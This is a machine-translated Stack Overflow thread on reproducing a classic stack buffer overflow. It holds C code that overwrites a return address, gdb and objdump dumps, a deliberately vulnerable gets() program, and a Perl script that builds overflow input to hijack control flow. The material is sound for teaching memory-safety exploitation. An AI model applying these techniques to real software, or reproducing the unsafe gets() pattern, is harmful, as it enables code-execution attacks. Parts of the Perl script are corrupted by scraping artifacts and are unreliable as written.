2013-05-27 47 views
5

我想重現從Aleph One的文章「粉碎堆棧獲得樂趣和利潤」(可在此處找到:http://insecure.org/stf/smashstack.html)讀取的stackoverflow結果。試圖粉碎堆棧

試圖覆蓋返回地址似乎不適用於我。

的C代碼:

  void function(int a, int b, int c) { 
       char buffer1[5]; 
       char buffer2[10]; 
       int *ret; 
       //Trying to overwrite return address 
       ret = buffer1 + 12; 
       (*ret) = 0x4005da; 
      } 

      void main() { 
       int x; 

       x = 0; 
       function(1,2,3); 
       x = 1; 
       printf("%d\n",x); 
      } 

拆卸主:

  (gdb) disassemble main 
      Dump of assembler code for function main: 
       0x00000000004005b0 <+0>:  push %rbp 
       0x00000000004005b1 <+1>:  mov %rsp,%rbp 
       0x00000000004005b4 <+4>:  sub $0x10,%rsp 
       0x00000000004005b8 <+8>:  movl $0x0,-0x4(%rbp) 
       0x00000000004005bf <+15>: mov $0x3,%edx 
       0x00000000004005c4 <+20>: mov $0x2,%esi 
       0x00000000004005c9 <+25>: mov $0x1,%edi 
       0x00000000004005ce <+30>: callq 0x400564 <function> 
       0x00000000004005d3 <+35>: movl $0x1,-0x4(%rbp) 
       0x00000000004005da <+42>: mov -0x4(%rbp),%eax 
       0x00000000004005dd <+45>: mov %eax,%esi 
       0x00000000004005df <+47>: mov $0x4006dc,%edi 
       0x00000000004005e4 <+52>: mov $0x0,%eax 
       0x00000000004005e9 <+57>: callq 0x400450 <[email protected]> 
       0x00000000004005ee <+62>: leaveq 
       0x00000000004005ef <+63>: retq 
      End of assembler dump. 

我已硬編碼的返回地址跳過在x = 1;代碼行,我使用了反彙編器的硬編碼值(地址:0x4005da)。這個漏洞的意圖是打印0,但它是打印1.

我有一個非常強烈的感覺,「ret = buffer1 + 12;」不是返回地址的地址。如果是這種情況,我怎麼才能確定返回地址,gcc是在返回地址和緩衝區之間分配更多的內存。

回答

4

這是我爲一位朋友寫的一篇指南,回顧了使用gets執行緩衝區溢出攻擊的情況。它回顧瞭如何獲取返回地址以及如何使用它來寫入舊地址:

我們對堆棧的瞭解告訴我們,返回地址出現在堆棧後面,您嘗試溢出的緩衝區。但是,返回地址出現後緩衝區的大小取決於您使用的體系結構。爲了確定這一點,先寫一個簡單的程序,檢查裝配:

C代碼:

void function() 
{ 
    char buffer[4]; 
} 

int main() 
{ 
    function(); 
} 

大會(有刪節):

function: 
    pushl %ebp 
    movl %esp, %ebp 
    subl $16, %esp 
    leave 
    ret 
main: 
    leal 4(%esp), %ecx 
    andl $-16, %esp 
    pushl -4(%ecx) 
    pushl %ebp 
    movl %esp, %ebp 
    pushl %ecx 
    call function 
    ... 

有跡象表明,您可以使用多種工具檢查彙編代碼。首先,當然是 使用gcc -S main.c直接編譯來自gcc的彙編輸出。這可能很難閱讀,因爲幾乎沒有暗示什麼代碼對應於原始C代碼。此外,還有很多樣板代碼難以篩選。另一個需要考慮的工具是gdbtui。使用gdbtui的好處是,您可以在運行程序時檢查程序集源代碼,並在程序執行過程中手動檢查堆棧。但是,它有一個陡峭的學習曲線。

我最喜歡的裝配檢查程序是objdump。運行objdump -dS a.out爲彙編源代碼提供了源代碼的上下文。使用objdump,在我的計算機上,來自字符緩衝區的返回地址的偏移量是8個字節。

該功能function取回地址並將其增加7。 原指向的返回地址的指令長度是7個字節,所以在賦值後加7使返回地址指向指令。

在下面的示例中,我覆蓋返回地址以跳過指令x = 1

簡單的C程序:

void function() 
{ 
    char buffer[4]; 
    /* return address is 8 bytes beyond the start of the buffer */ 
    int *ret = buffer + 8; 
    /* assignment instruction we want to skip is 7 bytes long */ 
    (*ret) += 7; 
} 

int main() 
{ 
    int x = 0; 
    function(); 
    x = 1; 
    printf("%d\n",x); 
} 

主要功能(在80483af X = 1是7個字節長):

8048392: 8d4c2404  lea 0x4(%esp),%ecx 
8048396: 83e4f0   and $0xfffffff0,%esp 
8048399: ff71fc   pushl -0x4(%ecx) 
804839c: 55    push %ebp 
804839d: 89e5   mov %esp,%ebp 
804839f: 51    push %ecx 
80483a0: 83ec24   sub $0x24,%esp 
80483a3: c745f800000000 movl $0x0,-0x8(%ebp) 
80483aa: e8c5ffffff  call 8048374 <function> 
80483af: c745f801000000 movl $0x1,-0x8(%ebp) 
80483b6: 8b45f8   mov -0x8(%ebp),%eax 
80483b9: 89442404  mov %eax,0x4(%esp) 
80483bd: c70424a0840408 movl $0x80484a0,(%esp) 
80483c4: e80fffffff  call 80482d8 <[email protected]> 
80483c9: 83c424   add $0x24,%esp 
80483cc: 59    pop %ecx 
80483cd: 5d    pop %ebp 

我們知道返回地址,我們已經證明,改變它可能會影響運行的代碼 。緩衝區溢出可以通過使用gets並輸入正確的字符串來執行相同的操作,以便返回地址被新地址覆蓋。

在下面的新示例中,我們有一個函數function,它具有使用gets填充的緩衝區。我們還有一個功能uncalled,它永遠不會被調用。有了正確的輸入,我們可以運行不被調用。

#include <stdio.h> 
#include <stdlib.h> 

void uncalled() 
{ 
    puts("uh oh!"); 
    exit(1); 
} 

void function() 
{ 
    char buffer[4]; 
    gets(buffer); 
} 

int main() 
{ 
    function(); 
    puts("program secure"); 
} 

要運行uncalled,檢查使用objdump或類似找到uncalled的入口點的地址的可執行文件。然後將地址附加到輸入緩衝區的正確位置,以覆蓋舊的返回地址。如果您的計算機是小端(x86等),則需要交換地址的字節序。

爲了正確地做到這一點,我在下面有一個簡單的perl腳本,它會生成會導致緩衝區溢出的輸入,它會覆蓋返回地址。它有兩個參數,第一個是新的返回地址,第二個是從緩衝區開始到返回地址的距離(以字節爲單位)。

#!/usr/bin/perl 
print "x"[email protected][1];           # fill the buffer 
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input 
print "\n";             # new line to end gets 
2

您需要檢查堆棧以確定buffer1+12是否實際上是要修改的正確地址。這種東西不是非常便攜的。

我可能也放置一些捕眼睛中的代碼,所以你可以看到緩衝區是在棧中相對於返回地址:

char buffer1[5] = "1111"; 
char buffer2[10] = "2222"; 
1

您可以通過打印出圖了這一點疊加。添加如下代碼:

int* pESP; 
__asm mov pESP, esp 

__asm指令是特定於Visual Studio的。一旦你有堆棧的地址,你可以打印出來,看看裏面有什麼。請注意,當您執行任務或進行調用時,堆棧將會發生變化,因此您必須先將堆棧地址處的內存複製到一個陣列,然後再打印出陣列,從而一次保存整塊內存。

你會發現什麼是與堆棧框架和各種運行時檢查有關的各種垃圾。默認情況下,VS會將防護碼放在堆棧中,以防止你正在嘗試做什麼。如果你打印出「功能」的彙編列表,你會看到這個。你需要設置一個編譯器開關來關閉所有這些東西。

+0

我不能用這個方法,因爲我使用的是linux和GNU GCC。 –

+0

@Mike,實際上你可以使用_method_,因爲'gcc'也提供內聯'asm'。您只需將其轉換爲替代語法即可。 – paxdiablo

0

作爲替代在其他的答案提出的方法,你可以計算這樣的事情了使用gdb。爲了使輸出更容易閱讀,我刪除了buffer2變量,並將buffer1更改爲8個字節,以便更加一致。我們還將在32位以上進行編譯,使其更容易讀取地址,並打開調試(gcc -m32 -g)。

void function(int a, int b, int c) { 
    char buffer1[8]; 
    char *ret; 

讓我們打印緩衝器1的地址:

(gdb) print &buffer1 
$1 = (char (*)[8]) 0xbffffa40 

然後讓我們打印了一下過去這一點,看看有什麼堆棧。

(gdb) x/16x 0xbffffa40 
0xbffffa40: 0x00001000 0x00000000 0xfecf25c3 0x00000003 
0xbffffa50: 0x00000000 0xbffffb50 0xbffffa88 0x00001f3b 
0xbffffa60: 0x00000001 0x00000002 0x00000003 0x00000000 
0xbffffa70: 0x00000003 0x00000002 0x00000001 0x00001efc 

做一個回溯,看看那裏的返回地址應指向:

(gdb) bt 
#0 function (a=1, b=2, c=3) at foo.c:18 
#1 0x00001f3b in main() at foo.c:26 

果然,有它在0xbffffa5b:

(gdb) x/x 0xbffffa5b 
0xbffffa5b: 0x001f3bbf